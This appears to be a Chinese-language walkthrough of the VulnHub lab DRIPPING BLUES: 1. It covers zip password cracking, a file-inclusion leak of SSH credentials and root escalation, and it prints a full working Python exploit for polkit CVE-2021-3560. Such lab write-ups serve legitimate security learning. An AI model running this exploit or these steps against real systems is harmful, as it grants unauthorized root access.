准备：
攻击机：虚拟机kali、本机win10。
靶机：DRIPPING BLUES: 1，网段地址我这里设置的桥接，所以与本机电脑在同一网段，下载地址：https://download.vulnhub.com/drippingblues/drippingblues.ova，下载后直接vm打开即可。
知识点：CVE-2021-3560漏洞利用（polkit漏洞）、fcrackzip爆破zip文件密码、文件包含。
信息收集：
通过nmap扫描下网段内的存活主机地址，确定下靶机的地址：nmap -sn 192.168.4.0/24，获得靶机地址：192.168.4.146
扫描下端口对应的服务：nmap -T4 -sV -p- -A 192.168.4.146，显示开放了21、22、80端口，开放了ftp服务、ssh服务、web服务。
尝试访问下ftp服务，发现不需要账户名和密码，可以直接登录，在ftp服务中发下一个respectmydrip.zip文件，下载下来进行解压，发现需要密码。
使用fcrackzip进行密码爆破，命令：fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u respectmydrip.zip，获得密码：072528035。
解压之后获得respectmydrip.txt文件和secret.zip文件，respectmydrip.txt文件是一条信息：just focus on "drip"。secret.zip文件同样需要密码，但是这个未破解出来。
查看80端口，显示是一串字符串和两个账户名：travisscott & thugger，访问下robots.txt（nmap扫描时已获得），发下两个文件：dripisreal.txt和/etc/dripispowerful.html。
访问下dripisreal.txt和/etc/dripispowerful.html，在dripisreal.txt文件获得提示信息，但是/etc/dripispowerful.html文件无法访问，猜测存在文件包含漏洞。
使用dirmap进行目录扫描，获得index.php和robots.txt（这个上面已知）
访问index.php页面，想到提示：just focus on "drip"，猜测存在参数drip，访问下/etc/dripispowerful.html，成功获得密码：imdrippinbiatch。
获取shell：
使用账户名和密码：thugger/imdrippinbiatch进行ssh连接，成功获取shell权限。
在当前账户下发现存在user.txt文件，读取该文件获取第一个flag。
提权：
输入命令：sudo -l查看下当前可以使用的特权命令有哪些，显示不存在。
查看下具有root权限的文件，命令：find / -perm -4000 -type f 2>/dev/null，发现存在一个/usr/lib/policykit-1/polkit-agent-helper-1（emmm，真巧，在上一篇vulnhub靶场之CORROSION: 2刚好也遇到了这个漏洞：CVE-2021-4034）
这个网站：https://github.com/arthepsy/CVE-2021-4034，下载下来poc在kali上进行进行gcc编译，然后上传到靶机进行执行，但是发现靶机缺少gcc无法执行，那只能找下polkit其余漏洞了。
在github上查找下polkit的可利用的exp，发现主要是两个，一个是CVE-2021-3560，一个是CVE-2021-4034（这个上面已经测试过，因缺少gcc无法执行，所以那就测试下CVE-2021-3560）
在这个网站：https://github.com/Almorabea/Polkit-exploit下载下来可利用的exp（下载很缓慢，将代码复制下来也可以使用），并上传到靶机赋予执行权限，然后执行获得root权限。
CVE-2021-3560_exp_py源码
import os
import sys
import time
import subprocess
import random
import pwd
print ("**************")
print("Exploit: Privilege escalation with polkit - CVE-2021-3560")
print("Exploit code written by Ahmad Almorabea @almorabea")
print("Original exploit author: Kevin Backhouse ")
print("For more details check this out: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/")
print ("**************")
print("[+] Starting the Exploit ")
time.sleep(3)
check = True
counter = 0
while check:
counter = counter +1
process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply','/org/freedesktop/Accounts','org.freedesktop.Accounts.CreateUser','string:ahmed','string:"Ahmad Almorabea','int32:1'])
try:
#print('1 - Running in process', process.pid)
Random = random.uniform(0.006,0.009)
process.wait(timeout=Random)
process.kill()
except subprocess.TimeoutExpired:
#print('Timed out - killing', process.pid)
process.kill()
user = subprocess.run(['id', 'ahmed'], stdout=subprocess.PIPE).stdout.decode('utf-8')
if user.find("uid") != -1:
print("[+] User Created with the name of ahmed")
print("[+] Timed out at: "+str(Random))
check =False
break
if counter > 2000:
print("[-] Couldn't add the user, try again it may work")
sys.exit(0)
for i in range(200):
#print(i)
uid = "/org/freedesktop/Accounts/User"+str(pwd.getpwnam('ahmed').pw_uid)
#In case you need to put a password un-comment the code below and put your password after string:yourpassword'
password = "string:"
#res = subprocess.run(['openssl', 'passwd','-5',password], stdout=subprocess.PIPE).stdout.decode('utf-8')
#password = f"string:{res.rstrip()}"
process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply',uid,'org.freedesktop.Accounts.User.SetPassword',password,'string:GoldenEye'])
try:
#print('1 - Running in process', process.pid)
Random = random.uniform(0.006,0.009)
process.wait(timeout=Random)
process.kill()
except subprocess.TimeoutExpired:
#print('Timed out - killing', process.pid)
process.kill()
print("[+] Timed out at: " + str(Random))
print("[+] Exploit Completed, Your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root ")
p = subprocess.call("(su ahmed -c 'sudo su')", shell=True)使用root账户在/root下成功读取flag信息。
闲着无聊，使用root账户安装了gcc，然后切换回了thugger账户，执行CVE-2021-4034的exp，此时也可以正常获取到root权限。
标签：
留言评论